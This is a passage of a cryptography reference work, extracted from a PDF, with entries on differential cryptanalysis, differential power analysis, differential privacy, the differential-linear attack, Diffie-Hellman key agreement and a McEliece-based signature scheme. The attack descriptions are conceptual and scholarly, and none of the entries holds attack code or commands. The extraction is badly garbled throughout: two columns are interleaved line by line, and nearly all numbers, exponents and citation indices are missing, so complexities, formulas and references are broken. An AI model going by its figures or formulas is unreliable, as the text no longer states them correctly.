or her attack. It is therefore common in such cases to quote ferences evolve to other (unknown in advance) nonzero
the complexity of a differential attack to be the number of differences, so that the information on the zero/nonzero
required chosen plaintexts. difference evolve through many rounds of the cipher.
After the publication of the differential cryptanalysis A third extension defines non-XOR differences, such
attack on DES, whose complexity is (it requires as subtraction of integers (useful for cases where the native
chosen plaintexts and the time of analysis is less than operation in the cipher is addition), or differences of divi-
), IBM announced that they were aware of differen- sion modulo a prime (useful for cases where the native
tial cryptanalysis when they designed DES, and actually operation in the cipher is multiplication modulo a prime,
designed it to withstand differential attacks (many other such as in IDEA []). Also a combination of different
ciphers designed at that period were more vulnerable to differences for different parts of the block, or for differ-
differential cryptanalysis). Moreover, differential attacks ence rounds of the cipher is considered. For such cases,
(to which they called the T method) were classified as difference distribution tables where the input differences
top secret for purposes of US national security, and IBM are defined with one operation and the output differences
Dierential Cryptanalysis D
with another are very useful (especially when the opera- extra round(s). If it appears that for some value of the sub-
tion natively transforms one operation to another, such as key, decryption of the ciphertexts by the single round (or
in cases of exponentiation S boxes, or logarithm S boxes). few rounds) leads to the impossible difference in any one of
Higher-order differences [] consider derivatives of the pairs, then we are assured that the subkey is wrong, and
a second or a higher order. Higher-order differences are thus can be discarded. After discarding sufficiently many
shown successful in several cases where differential crypt- subkeys, the attacker reduces his or her list of possible val-
analysis is not applicable due to low probabilities of char- ues of the subkeys to a short list (or even to one subkey),
acteristics; in some of these cases higher-order differences and he or she is assured that the correct subkey is in the list.
prove the most successful attack. However, higher-order Depending on the design of the cipher and the key sched-
attacks are successful mainly against ciphers with a small ule, for some ciphers it may be more efficient to reduce the
D
number of rounds. number of possible subkeys to (i.e., only the correct sub-
It was also observed that in most differential attacks, key) using this method, while for others it may be more
the intermediate differences predicted by the characteris- efficient to stop with a short list of candidates, and then
tics are not used, and are thus ignored []. In such cases, check each key in the short list by trial encryption.
the considered differences are only the plaintext differences There are also attacks that use differentials as their
and the difference after the final round of the characteris- building blocks, while combining differentials in various
tic. In most cases, there are many different characteristics ways. The most promising ones are boomerang [],
with the same plaintext difference and the same final dif- amplified boomerang [], and rectangle [] attacks. The
ference; these characteristics sum up to one differential, main idea in all these attacks are the combination of four
whose probability is the sum of their probabilities. plaintexts, which for simplicity of description we assume
The major method for protection against differential are located on the corners of a square, where one short
cryptanalysis is by bounding the probability of the best differential is used in both pairs for the first few rounds
characteristic (or differential) to be very low. Whenever the (the horizontal edges), while a second short differential is
designer wishes to prove that differential cryptanalysis is used for the rest of the rounds but on the orthogonal pairs
not applicable, he or she bounds the probability p of the (the vertical edges). Although the probabilities of the total
best characteristic (or differential) such that /p is larger structure are p q where p and q are the probabilities of the
than the required complexity, or even larger than the size of two differentials, it appears that it is much easier in various
the plaintext space (in which case even choosing the whole cases to find good short differentials, than to find one full
plaintext space is not sufficient for mounting an attack). differential of a comparable probability.
These bounds were formalized into various theories of Although differential cryptanalysis is basically a cho-
provable security against differential cryptanalysis. sen plaintext attack (as the attacker needs to choose the
A specially interesting theory for provable security plaintext differences), the attacker usually does not need to
against differential cryptanalysis (and also linear crypt- choose the exact values of the plaintexts. This observation
analysis) is the theory of decorrelation [], which makes allows conversion of chosen plaintext differential crypt-
it possible to prove security of block ciphers against certain analysis attacks into known plaintext attacks [], using the
(restricted) kinds of attack, including against basic variants fact that in a sufficiently large set of random plaintexts
of differential and linear cryptanalysis. there are many pairs whose difference is as required by
The usual claims for security against differential the chosen plaintext attack. Once these pairs of plaintexts
cryptanalysis correlate the probabilities of the highest- are identified, the original chosen plaintext attack may be
probability differentials to the complexity of the best differ- performed on these pairs. This variant usually requires a
ential attack, such that if the highest probability is very low, huge number of known plaintexts, which is about mn+
the required amount of data and complexity is very high. where n is the size of the plaintext in bits and m is the
However, it was observed that even differentials with prob- number of chosen plaintext pairs required by the chosen
ability zero (i.e., that cannot occur there are no right pairs plaintext attack. On some ciphers, this is the best published
under any key) can be used for attacks [, ]. This kind known-plaintext attack.
of attack is called differential cryptanalysis using impossi- In some cases it is also possible to convert differential
ble differentials (or shortly impossible cryptanalysis). The cryptanalysis to ciphertext-only attacks. For more infor-
main idea is to select a large set of pairs with the plain- mation on these conversions see [].
text difference of an impossible differential with n (or Differential cryptanalysis was originally developed on
slightly fewer) rounds, where n is the number of rounds of Feal- [, ], a block cipher which was claimed to be
the block cipher, and to try all the possible subkeys of the faster and more secure than DES. It was then generalized
D Dierential Power Analysis
and extended to DES and other schemes. Feal- was bro- . Lecture notes in computer science, vol . Springer,
ken using a few hundred chosen plaintexts. Given the Berlin, pp
. Knudsen LR () DEAL A -bit block cipher, AES submis-
corresponding ciphertexts, it takes less than a minute on
sion. http://www.mat.dtu.dk/people/Lars.R.Knudsen/papers/
a personal computer to recover the key []. The first results deal.pdf
on DES [] showed that DES reduced to rounds was . Lai X () Higher order derivative and differential cryptanal-
vulnerable to a differential attack, while the full -round ysis. In: Proceedings of symposium on communication, coding
DES required chosen plaintexts for a successful attack, and cryptography (in honor of J. L. Massey on the occasion of
his th birthday)
whose generation is slower than exhaustive search. In
. Lai X, Massey JL, Murphy S () Markov ciphers and dif-
the following year, an improvement of the technique was ferential cryptanalysis. In: Advances in cryptology. Proceed-
invented []. The main trick in the improved attack was the ings of EUROCRYPT, Brighton, April . Lecture notes in
ability to receive the first round for free, using large spe- computer science, vol . Springer, Berlin, pp
cially designed structures, setting the characteristic from . Miyaguchi S, Shiraishi A, Shimizu A () Fast data encryp-
tion algorithm FEAL-. Rev Electr Commun laboratories ():
the second round on. This improvement made it possi-

ble to apply the -round attack on the full rounds. . National Bureau of Standards () Data encryption standard,
Another improvement allowed to find the key when the U.S. Department of Commerce, FIPS pub.
first right pair is analyzed, rather than to wait till suffi- . Shimizu A, Miyaguchi S () Fast data encryption algo-
ciently many right pairs are found. This improvement is rithm FEAL. In: Advances in cryptology. Proceedings of EURO-
CRYPT, Amsterdam. Lecture notes in computer science,
applicable when the attack considers all the key bits (or
pp
almost all the key bits) in a single counting phase. As a . Vaudenay S () Provable security for block ciphers by decor-
result, the improved attack could analyze the full -round relation. In: Proceedings of STACS, Paris, February .
DES given chosen plaintext and their corresponding Lecture notes in computer science, vol . Springer, Berlin,
ciphertexts, and whose complexity of analysis was smaller pp
. Wagner D () The boomerang attack. In: Proceedings of
than .
fast software encryption, Rome, March . Lecture notes in
Recommended Reading
. Biham E, Shamir A () Differential cryptanalysis of DES-like
cryptosystems. J Cryptol ():
. Biham E, Shamir A () Differential cryptanalysis of FEAL and
N-hash. Technical report CS-. In: Advances in cryptology. Dierential Power Analysis
Proceedings of EUROCRYPT, Brighton, April . Lecture
. Biham E, Shamir A () Differential cryptanalysis of the Tom Caddy
full -round DES. In: Advances in cryptology. Proceedings InfoGard Laboratories, San Luis Obispo, CA, USA
of CRYPTO, Santa Barbara, August . Lecture notes in
. Biham E, Shamir A () Differential cryptanalysis of the data Synonyms
encryption standard. Springer, Berlin DPA
. Biryukov A, Kushilevitz E () From differential cryptanalysis
to ciphertext-only attacks. In: Advances in cryptology. Proceed- Related Concepts
ings of CRYPTO, Santa Barbara, August . Lecture notes
Side-Channel Attacks
. Biham E, Biryukov A, Shamir A () Cryptanalysis of
skipjack reduced to rounds using impossible differentials. Background
In: Advances in cryptology, Proceedings of EUROCRYPT, Differential power analysis utilizes power consumption
Prague, May . Lecture notes in computer science, vol . of a cryptographic device such as a smartcard as side-
channel information.
. Biham E, Dunkelman O, Keller N () New results on
boomerang and rectangle attacks. In: Proceedings of fast soft-
ware encryption , Leuven, February . Lecture notes in Theory
computer science, vol . Springer, Berlin, pp In simple power analysis (SPA), an attacker directly
. Kelsey J, Kohno T, Schneier B () Amplified boomerang observes a devices power consumption. It is known that
attacks against reduced-round MARS and serpent. In: Proceed-
the amount of power consumed by the device varies
ings of fast software encryption , New York, April . Lecture
depending on the data operated on and the instructions
. Knudsen L () Truncated and higher order differentials. In: performed during different parts of an algorithms execu-
Proceedings of fast software encryption , Leuven, December tion. Define a power trace as a set of power consumption
Dierential Power Analysis D
measurements during a cryptographic operation. By sim- measurements t in each power trace depends on the sam-
ply examining power traces, it is possible to determine pling rate and the memory capacity as well as the duration
major characteristic details of a cryptographic device and of the cryptographic operation. Next, partition the power
the implementation of the cryptographic algorithm being samples PS(n, t) into two sets S and S according to the
used. SPA can therefore be used to discover implementa- outcome or of a partitioning or discrimination func-
tion details, such as DES rounds (Data Encryption Stan- tion D. The outcome value of the partitioning function D
dard) and RSA operations (RSA Public Key Encryption). can be simply the value of a specific ciphertext bit. In gen-
Moreover, SPA can reveal differences between multiplica- eral, the size of set S will be roughly the same as the size
tion and squaring operations, which can be used to recover of S . Next, compute the average power signal for each set
the private key in RSA implementations. SPA can also S at time t. By subtracting the two averages, we obtain the
D
reveal visible differences within permutations and shifts in DPA bias signal B(t). Selecting an appropriate D-function
DES implementations, which might lead to recovering the will result in a DPA bias signal that an attacker can use to
secret DES key. verify guesses of the secret key. The D-function is chosen
While SPA attacks use primarily visual inspection to such that at some point during implementation the device
identify relevant power fluctuations, differential power needs to calculate the value of this bit. When this occurs
analysis (DPA) exploits characteristic behavior (e.g., power or any time data containing this bit is manipulated, there
consumption behavior of transistors and logic gates) []. will be a slight difference in the amount of power dissi-
DPA uses an attacking model and statistical analysis to pated depending on whether this bit is a zero or a one. Let
extract hidden information from a large sample of power denote this difference, and the instruction manipulating
traces obtained during controlled cryptographic compu- the D-bit occurs at time t , then the value is equal to the
tations. In case of SPA, direct observations of a devices expectation difference:
power consumption would not allow identifying the effects
E[S(D = )] E[S(D = )], for t = t .
of a single transistor switching. The use of statistical meth-
ods in a controlled DPA environment allows identifying When t t the device is manipulating bits other than the
small differences in power consumption, which can be D-bit, and assuming that the power dissipation is indepen-
used to recover specific information such as the individ- dent of the D-bit, the difference in expectation of the two
ual bits in a secret key. This means secret key material sets equals zero for sufficiently large N. Thus, the bias func-
can be recovered from tamper-resistant devices such as tion B(t) will show power spikes of height at times t and
smartcards (Smartcard Tamper Resistance). To execute will appear flat at all other times. If the proper D-function
an attack based on DPA, an attacker does not need to know was chosen, the bias signal will show spikes whenever the
as many details about how the algorithm is implemented. D-bit was manipulated and otherwise the resulting B(t)
The basis of a DPA attack is the use of an abstract model will not show any bias. Using this approach, an attacker can
based on the power consumption characteristics of the verify guesses for the hidden key bit information using the
logic that includes the noise components. When measur- D-function. Repeating this approach for different D-bits,
ing the power consumption, various noise components are the secret key can be obtained bit by bit.
superimposed on the power traces. The main noise sources Variants or improvements of the classical DPA attack
are external, intrinsic, quantization, and algorithmic noise. exist that use signals from multiple sources, use differ-
Intrinsic and quantization noise are small compared to the ent measuring techniques, combine signals with different
power consumption. The external noise can be reduced by temporal offsets, use specific and more powerful differen-
careful use of the measurement equipment. The algorith- tial functions, and apply more advanced signal processing
mic noise can be averaged out by the DPA strategy itself. To functions and models. To enlarge the peak, a multiple-bit
reduce the influence of noise in DPA, one can increase the attack can be used.
number of samples required to detect variations. Analysis A DPA attack involves hundreds to thousands of sam-
can take place in the time and frequency domain. ples. After processing and statistical analysis, the DPA
The basis of DPA technique is as follows. Assume process can reconstruct the full secret or private key
that a sufficient number N of random power traces have within several minutes. The whole process is easy to imple-
been collected (e.g., N samples of ciphertexts obtained ment and requires only standard measurement equipment,
using the same encryption key). Each power trace is a which cost lies between a few hundred to a few thou-
collection of power samples PS(n, t), which represent the sand dollars. DPA attacks are noninvasive, which makes
power consumption at time t in trace n as the sum of the them difficult to detect. DPA requires little or no infor-
power dissipated by all circuitry. In practice, the number of mation about the target device and can be automated.
D Dierential Privacy
DPA and SPA has successfully been applied to attack a is a subset of the other and the larger database contains
large number of smartcards and PCMCIA cards []. See exactly one additional row.
[] for an approach how to counteract power analysis
Definition [, ] A randomized function K gives -
attacks.
differential privacy if for all data sets D and D differing on
at most one row, and all S Range(K),
Recommended Reading
. Chari S, Jutla C, Rao JR, Rohatgi P () Towards sound Pr[K(D) S] exp() Pr[K(D) S], ()
approaches to counteracts power-analysis attacks. In: Wiener M
(ed) Advances in cryptology CRYPTO, Lecture notes in where the probability space in each case is over the coin flips
computer science, vol . Springer, Berlin, pp of K.
. Kocher P, Jaffe J, Jun B () Differential power analysis. In:
Wiener M (ed) Advances in cryptology CRYPTO, Lecture The parameter > is public, and its selection is a
notes in computer science, vol . Springer, Berlin, pp social question. Smaller yields a stronger privacy guar-
. Messerges TS, Dabbish EA, Sloan RH () Investigations of antee.
power analysis attacks on smartcards. Proceedings of USENIX
workshop on smartcard technology. Springer, Berlin, pp
Background
Statistical disclosure control has a vast literature span-
ning statistics, cryptography, theoretical computer science,
and databases. Typically, privacy definitions were syn-
Dierential Privacy tactic conditions on the released statistics or (modified)
data sets; requirements that certain fields in the original
Cynthia Dwork database cannot be reconstructed based on the informa-
Microsoft Research, Silicon Valley, Mountain View, CA, tion released; or requirements (sometimes assumptions)
USA that data records cannot be reidentified, that is, traced
back to their contributor, at low cost. Missing was a com-
Synonyms prehensive notion of protection from harm. This is cap-
-Differential privacy; -Indistinguishability tured by differential privacy; it ensures that no outcome,
and therefore no conceivable harm, is substantially more
Related Concepts likely to occur if one joins the database than it is if one
Data Confidentiality; Informed Adversary; Macrodata refrains from joining. To the extent that databases are
Protection; Microdata Protection; Private Data Analy- created to provide a social good, for example, to learn
sis; Statistical Disclosure Control medical facts such as smoking causes cancer, differen-
tial privacy works toward social good, lowering barriers to
Denition participation by minimizing incremental harm.
Differential privacy is a meaningful and mathematically
rigorous definition of privacy useful for quantifying Theory
and bounding privacy loss. Developed in the context of Two important aspects of the definition are its general-
statistical disclosure control providing accurate statisti- ity and its reslience to any auxiliary information other
cal information about a set of respondents while protecting past, present, or future databases, knowledge of arbitrary
the privacy of each individual the concept applies more subsets of the given database, and so on, available to an
generally to any private data set for which it is desirable adversarial data analyst. This resilience occurs because dif-
to release coarse-grained information while keeping pri- ferential privacy is a property of the data release mech-
vate the details. Informally, differential privacy requires the anism, not of an interaction between the mechanism
probability distribution on the published results of an anal- and the adversary or outside world. Thus, differentially
ysis to be essentially the same, independent of whether private mechanisms are immune to linkage attacks. In
any individual opts in to or opts out of the data set. The these attacks, released data, containing supposedly de-
probabilities are over the coin flips of the data analysis identified records, are cross-linked, typcially based on
algorithm. innocuous fields, to identified records in other databases.
A database is a set of rows, each row containing It also follows from the definition that -differentially
the data of a single individual. Opting in or out of the private mechanisms compose automatically and obliv-
database is formalized by considering pairs of databases iously. The composition of an -differentially private
D, D differing in at most one row, meaning, one database mechanism with an -differentially private mechansim
Dierential Privacy D
is at worst ( + )-differentially private, although in The Laplace distribution with parameter b, denoted
some cases composition will behave better, resulting in an Lap(b), has density function P(zb) = b exp(z/b); its
-differentially private mechanism for some < + . variance is b . When b = /, the density at z is propor-
The following natural relaxation is very useful. tional to ez . Note that the distribution gets flatter as
decreases.
Definition A randomized function K gives (, )-
differential privacy if for all data sets D and D differing on Theorem [] For f : D Rd , the mechanism that adds
at most one row, and all S Range(K), independently generated noise with distribution Lap(f /)
to each of the d output terms enjoys -differential privacy.
Pr[K(D) S] exp() Pr[K(D ) S] + , () D
Pleasantly, the noise is independent of the database,
where the probability space in each case is over the coin flips and its size.
of K. The addition of Gaussian or binomial noise, scaled to
the L sensitivity of the function, sometimes yields better
Now, both parameters , > are public. In the liter-
accuracy; this only ensures the weaker (, )-differential
ature, is typically very small, say, less than the inverse of
privacy [, ].
any polynomial in the size of the database. The composi-
The exponential mechanism [] addresses the case in
tion of an ( , )-differentially private mechanism with an
which adding noise makes no sense. For example, one
( , )-differentially private one is at worst ( + , +
may be choosing among k locations for a municipal clinic,
)-differentially private.
depending on the addresses in a database of patients in
the given municipality. In this case, there is a cost for each
Achieving Dierential Privacy candidate location, say, the sum of the distances of the
The principal known methods are the addition of noise [] candidate location to the home addresses of the patients.
and choosing according to an exponential distribution The goal is to choose well (minimizing cost), while pro-
among discret values [], both described below. Sev- tecting the privacy of individual patients. The exponential
eral more specialized techniques appear in the literature; mechanism does this by assigning a probability to each
among these, perturbing the objective function of an opti- choice, where the probability assigned to location i is pro-
mization problem [] differs most radically from other portional to exp( costi / cost). Here, cost is the max-
techniques mentioned. imum amount the presence or absence of an individual
A key notion is the sensitivity of a function f . living in the municipality can affect the cost assigned to
Definition [] For f : D Rd , the L sensitivity of f is any given location (e.g., the diameter of the municipality).
f = max f (D) f (D ) () Applications

D,D
d
The literature abounds in broken privacy promises, both

= max f (D)i f (D )i on paper and in practice. Typically, the difficulty is not
D,D i= the implementation of the privacy guarantee; instead it is
the ad hoc nature of the guarantee and its failure to take
for all adjacent D, D .
auxiliary information into account. A comprehensive yet
The L -sensitivity is defined analogously, using the L norm.
achievable privacy guarantee has application in myriad set-
In particular, when d = , the sensitivity of f is the tings: census, labor statistics, health records, genome-wide
maximum of the difference in the values that the function association studies, monitoring education quality, analysis
f may take on a pair of adjacent databases. For example, of business strategies, and so on.
if f is counting query, so that f (D) is the number of rows In applying differential privacy, one would need to fix
in the database D that satisfy some specific property, then a privacy budget, captured by the parameter , and mon-
the sensitivity of f is : adding or deleting a single database itor, via the understanding of the composition of differen-
row can affect the count by at most . More interestingly, tially private mechanisms, the extent to which privacy is
if f is a histogram query, in which the universe of possible eroded as queries are made to the database and statistics are
database rows is partitioned into some number k of classes, released. Data whose budgets have been consumed should
and f (D) is a k-tuple of integers indicating the number of not be the subject of future statistical releases. While such
rows in D in each of the k classes, then again the sensitivity an approach will limit damage done by any given database,
of f is : the addition or deletion of a single row can affect the privacy losses incurred by membership in multiple
exactly one cell in the histogram, and that cell only by . databases will accumulate, and as a result, in some cases,
D DierentialLinear Attack
vulnerability to harm may be inevitable. For a contrived . Roy I, Setty S, Kilzer A, Shmatikov V, Witchel E () Aira-
example, this could occur if all the different databases are vat: security and privacy for MAPREDUCE. In: Proceedings of
the th USENIX symposium on networked systems design and
identical, in which case limited access to each of a large
implementation (NSDI), Cambridge
number of copies is equivalent to extended access to a sin-
gle copy. See [] et sequelae for an example of risk in this
case. Thus, differential privacy is not a panacea, and data
analyses must be released judiciously.
DierentialLinear Attack
In addition to implementation of many differentially pri- Alex Biryukov
vate algorithms, frequently with excellent accuracy, the FDEF, Campus Limpertsberg, University of Luxembourg,
literature describes two privacy-preserving programming Luxembourg
platforms: PINQ, a LINQ-like API [], and Airavat, a vari-
ant of MapReduce []. These systems control access to the
data, ensuring that this occurs only through differentially
Related Concepts
Block Ciphers; Data Encryption Standard (DES)
private primitives and enforcing privacy budgets.
Open Problems and Future Directions Denition

To minimize distortion for high-dimensional queries and DifferentialLinear attack is a chosen plaintext two-stage
in the presence of multiple mechanisms requires a better technique of cryptanalysis (by analogy with two-stage
understanding of composition and/or a weaker definition. rocket technology) in which the first stage is covered by
differential cryptanalysis, which ensures propagation of
Automatic and oblivious composition with any other
database and any other kind of side information must useful properties midway through the block cipher. The
be axiomatic. second stage is then performed from the middle of the
cipher and to the ciphertext using linear cryptanalysis.
Recommended Reading The technique was discovered and demonstrated on the
. Chaudhuri K, Monteleoni C () Privacy-preserving logistic example of -round DES (Data Encryption Standard) by
regression. In: Proceedings of advances in neural information Langford and Hellman [].
processing systems (NIPS), Vancouver
. Dinur I, Nissim K () Revealing information while Theory
preserving privacy. In: Proceedings of the nd ACM
Given a differential characteristic with probability p for the
SIGACT-SIGMOD-SIGART symposium on principles of
database systems, San Jose, pp rounds , . . . , i and the linear characteristic with bias q for
. Dwork C () Differential privacy. In: Proceedings of the rd the rounds i + , . . . , R, the bias of resulting linear approxi-
International colloquium on automata, languages and program- mation would be / + pq and the data complexity of the
ming (ICALP)(), Venice, pp attack will be O(p q ) [, p. ]. Thus the attack would
. Dwork C, Kenthapadi K, McSherry F, Mironov I, Naor M ()
be useful only in special cases when there are good char-
Our data, ourselves: privacy via distributed noise generation. In:
Advances in cryptology: proceedings of EUROCRYPT, Springer, acteristics or linear approximations halfway through the
New York, pp cipher, but no good patterns for the full cipher. Their attack
. Dwork C, McSherry F, Nissim K, Smith A () Calibrating enhanced with such refinements as packing data into struc-
noise to sensitivity in private data analysis. In: Proceedings tures and key-ranking (or list decoding) can recover -bits
of the rd theory of cryptography conference, New York, NY,
of the secret key for -round DES using chosen plain-
pp
. Dwork C, Nissim K () Privacy-preserving datamining on texts. In [] the same technique is used to break -round
vertically partitioned databases. In: Proceedings of CRYPTO FEAL with chosen plaintexts and expensive analysis
, vol . LNCS, Springer, Heidelberg, pp phase. Further applications and refinements of the tech-
. Dwork C () A firm foundation for private data analy- nique are given in [].
sis. Commun ACM (To appear) (available at http://research.
microsoft.com/en- us/projects/databaseprivacy)
. McSherry F () Privacy integrated queries. In: Proceed- Recommended Reading
ings of the ACM SIGMOD international conference on . Aoki K, Ohta K () Differential-linear cryptanalysis of FEAL-
management of data (SIGMOD), Providence . IEICE Trans Fundamentals Electron Commun Comput Sci
. McSherry F, Talwar K () Mechanism design via differen- EA ():
tial privacy. In: Proceedings of the th annual symposium on . Biham E, Dunkelman O, Keller N () Enhancing differential-
foundations of computer science, Providence linear cryptanalysis. In: Zheng Y (ed) Advances in cryptology
DieHellman Key Agreement D
asiacrypt . Lecture notes in computer science, vol . parameters are chosen, and assumed to be accessible to
Springer, Berlin, pp all users:
. Langford SK () Differential-linear cryptanalysis and thresh-
old signatures. Technical report, PhD thesis, Stanford University
. Langford SK, Hellman ME () Differentiallinear cryptanal-
A prime number p.
ysis. In: Desmedt Y (ed) Advances in cryptology crypto. A generator p such that p (mod p).
pp With this set-up, the original protocol proceeds as fol-
lows, where Alice (A) and Bob (B) would like to establish
a shared, symmetric key K.
D
DieHellman Key Agreement . A generates a random value x p and computes
zx = x mod p. A sends zx to B.
Mike Just . B generates a random value y p and computes
Glasgow Caledonian University, Glasgow, Scotland, UK zy = y mod p. B sends zy to A.
. Upon receipt of zy , A computes KA = zy x mod p.
. Upon receipt of zx , B computes KB = zx y mod p.
Synonyms
DH key agreement; Diffie-Hellman key exchange Notice that KA = KB , so that A and B have a shared
key K. An eavesdropping attacker knows , p, zx , and
Related Concepts zy , from which K must be computed for a successful
DiffieHellman Problem; Discrete Logarithm Problem; attack. For appropriately chosen parameters, this Diffie
Elliptic Curve Key Agreement; Group Key Agreement; Hellman problem is believed to be difficult. In particular,
Key; Key Agreement; Key Authentication; Man-init is believed to be equivalent to the Discrete logarithm
the-Middle Attack; Perfect Forward Secrecy problem.
While secure against a passive eavesdropper, this origi-
Denition nal protocol is vulnerable to a Man-in-the-Middle Attack
The original Diffie-Hellman Key Agreement protocol in which an attacker initiates simultaneous instances of the
allows two users to communicate over an insecure channel above protocol with both A and B, impersonating A to B,
in order to produce a shared, symmetric key. and B to A. The attacker will then have a key K shared
with A and K shared with B, where K =/ K . However,
Background if A and B subsequently use their keys to exchange mes-
The ability for two users to establish a shared, symmet- sages, they can be read by the attacker. For example, if A
ric key over an insecure communication channel, despite encrypts a message for B using K , the attacker can inter-
having not met previously (more importantly, the users cept this encrypted message, decrypt it with K to recover
dont already have shared key material) was first pro- the plaintext, re-encrypt the plaintext with K and send
posed by Diffie and Hellman in . Till that time, along the newly encrypted message to B. A and B will con-
two users would either need to have shared key material tinue to believe that they are exchanging messages with one
between them already, or rely upon a Key Distribu- another, not realising that they are being intercepted and
tion Center. While the original DiffieHellman proto- read by an attacker.
col was susceptible to a Meet-in-the-Middle Attack, This attack succeeds since the original protocol does
there have since been updated protocols that provide not involve authentication of the identities of the partic-
Key Authentication. ipating users. For this reason, key agreement protocols
that provide Key Authentication have been developed in
Theory order to ensure the integrity of the exchanged messages
The DiffieHellman (DH) Key Agreement protocol was and participating users. The Station-to-Station Protocol
first published by Whitfield Diffie and Martin Hellman in is an example of such an authenticated key agreement
their seminal paper on Public Key Cryptography. The protocol.
original DiffieHellman Key Agreement protocol used Although the original Diffie-Hellman key agreement
integer operations in a multiplicative Group, though protocol supported key agreement between only two users,
variations exist (Elliptic Curve Key Agreement). As a there are several protocols extending to more than two
set-up to the DH protocol, the following system-wide users (Group Key Agreement).
D DieHellman Key Exchange
Applications correcting code on a digest of the message to be signed,

All key agreement protocols have wide application as one obtained by a cryptographic hash function. Only the legal
form of key establishment that can be used for an applica- user, who knows the hidden algebraic structure of the code,
tion in which two or more users wish to establish a shared can produce the signature, while anyone can check that the
Key. signature is a valid answer to the decoding problem.
Recommended Reading Theory

. Diffie W, Hellman ME () New directions in cryptography. The construction for the McEliece-based signature scheme
IEEE Trans Inf Theory IT-(): was proposed by Courtois, Finiasz, and Sendrier in
. Menezes A, van Oorschot PC, Vanstone SA () Handbook of []. Despite its name, this construction is based on
applied cryptography. CRC Press, Boca Raton, FL
Niederreiters encryption scheme rather than the original
McEliece cryptosystem. It was the first practical code-
based digital signature scheme with a security reduction
to the Syndrome Decoding Problem.
DieHellman Key Exchange
General Idea
DiffieHellman Key Agreement The public key is a binary r n matrix H, which is an
arbitrary parity check matrix of some t-error correcting
irreducible binary Goppa code. In the Niederreiter encryp-
Die-Hellman Problem tion scheme, the cleartext is a word e of length n and
Hamming weight t and the ciphertext is the syndrome
Computational Diffie-Hellman Problem s = eH T of e. In the signature scheme, the message to be
signed is hashed into a digest, a binary word s of length r.
The signature will be an error pattern e of minimal Ham-
ming weight such that eH T = s. The verification will con-
Digest Authentication sist in checking that the error pattern e multiplied by the
(transpose of the) public key H T is equal to the digest s of
HTTP Digest Authentication the message.
The main difficulty in designing digital signature
schemes based on this principle comes from the fact that a
random binary string s of length r is unlikely to be a valid
Digital Certicate cryptogram. In pratice, the minimal weight of an error
pattern e such that eH T = s will be larger than t and the
X. (secret) algebraic decoding procedure will fail.
Two (similar) solutions exist to work around this
problem.
Digital Signature Scheme Based Signature Scheme Using Complete Decoding

on McEliece In order to be able to sign any given message, one should
be able to decode any syndrome. However, this requires
Matthieu Finiasz , Nicolas Sendrier being able to decode error patterns of weight larger than t.

ENSTA, France An error of weight up to t + can be decoded by using

Project-Team SECRET, INRIA Paris-Rocquencourt, an exhaustive search on the additional positions in the
Le Chesnay, France following way:
. Compute the digest s of the message.
Related Concepts . Randomly select a word e of weight and compute
Digital Signature; McEliece Public Key Cryptosystem; the new syndrome s = e H T s.
Niederreiter Encryption Scheme . Try to decode s with the t-error correcting algorithm
to obtain et .
Denition . If the decoding succeeds, the signature is the error pat-
In the CFS scheme [], the digital signature is obtained tern et e of weight t + , otherwise, go back to
by applying the decoding procedure of some public error step .
Digital Signature Schemes D
Digital Signature Scheme Based on McEliece. Table The Security

CFS signature scheme (counter version) for various parameters As for the McEliece cryptosystem, there are two types of
(m, t) (, ) (, ) (, ) attacks either by recovering the secret key from the public
key or by solving an instance of the Syndrome Decod-
Public key size (in bits) tmm . . .
a . .
ing problem. And as for the McEliece system, the most
Security (binary ops) .
threatening attacks are decoding attacks.
Signature costa (binary t m t! . . . The best known attack is unpublished and is attributed
ops)
to Daniel Bleichenbacher. It is a one out of many vari-
Signature length (in tm ant of the generalized birthday attack [] for decoding [].
bits) It reduces the asymptotic security of the signature scheme
D
from (+o()) to (+o()) and requires an increase of the
b r r
Verication cost tm
(binary ops) parameters (see [] for a detailed analysis).
The secret Goppa code has length n = m and corrects t errors
a
lower bound for the cost of the best known attack [] Signature Size
b
this comes in addition to the computation of the digest One of the strongest features of this signature scheme is the
small size of the signatures. The signature is an error pat-
tern (and possibly a counter) which is very sparse and can
If is well chosen, any syndrome can be decoded and be stored very compactly. Also, the structure of the signa-
any message can be signed. Verification of the signature ture makes it possible to reduce its size further more. For
requires to compute the syndrome (et e )H T and check the original (n = , t = ) parameters it could be reduced
that it is equal to the digest s of the document. to bits at the cost of a slower verification (see []), mak-
ing them the shortest known digital signatures at the time.
Signature Scheme Using a Counter With a similar construction, parameters (n = , t = )
Instead of trying to decode any syndrome, one can also try and (n = , t = ) yield, respectively, signatures of
to obtain a decodable syndrome from the hash function. and bits.
This can be done by appending a counter to the message in Recommended Reading
the following way: . Courtois N, Finiasz M, Sendrier N () How to achieve
. Initialize a counter i to .
Advances in cryptology ASIACRYPT . Lecture notes in
. Append the counter i to the message to obtain a computer science, vol . Springer, Berlin, pp
digest si . . Wagner D () A generalized birthday problem. In: Yung M
. Try to decode si with the t-error correcting algorithm (ed) Advances in cryptology CRYPTO. Lecture notes in
to obtain e. computer science, vol . Springer, Berlin, pp
. Coron JS, Joux A () Cryptanalysis of a provably secure
. If the decoding succeeds, the signature is composed
cryptographic hash function. Cryptology ePrint Archive. http://
of the error pattern e and the value i of the counter, eprint.iacr.org///
otherwise, increment i and go back to step . . Finiasz M, Sendrier N () Security bounds for the design of
code-based cryptosystems. In: Matsui M (ed) Advances in cryp-
Here, the verification of the signature consists in check- tology ASIACRYPT . Lecture notes in computer science,
ing that the digest si of the message with the counter i vol . Springer, Berlin, pp
appended is equal to the syndrome eH T .
Security and Practice Digital Signature Schemes

In both schemes (complete decoding or counter), the
expected number of decoding attempts is t!, where t is the Kazue Sako
error-correcting capability of the Goppa code. This practi- NEC, Kawasaki, Japan
cally limits the value of t to or . Using small values of
t will imply code of very large length (in [] the length is Related Concepts
n = and the error weight is t = ). As a consequence, Data Authentication; Entity Authentication; Non
the public key will have a large size and the production Repudiation
of a signature will be time consuming. On the bright side,
the signatures are very short and the verification is fast (in Denition
practice negligible compared with the computation of the Digital signature schemes are techniques to assure an
message hash). entitys acknowledgment of having seen a certain digital
D Digital Signature Schemes from Codes
message. Typically, an entity has a private key and a cor- digital signature scheme where the message is not padded
responding public key that is tied to the entitys name or hashed before signing.)
(Public Keyinfrastructure). The entity generates a string
called signature, which depends on the message to sign and Recommended Reading
his private key. . Rivest RL, Shamir A, Adleman LM () A method for obtaining
The fact that the entity acknowledged, that is, that digital signatures and public-key cryptosystems. Commun ACM
():
he signed the message, can be verified by anyone using . Goldwasser S, Micali S, Rivest RL () A digital signature
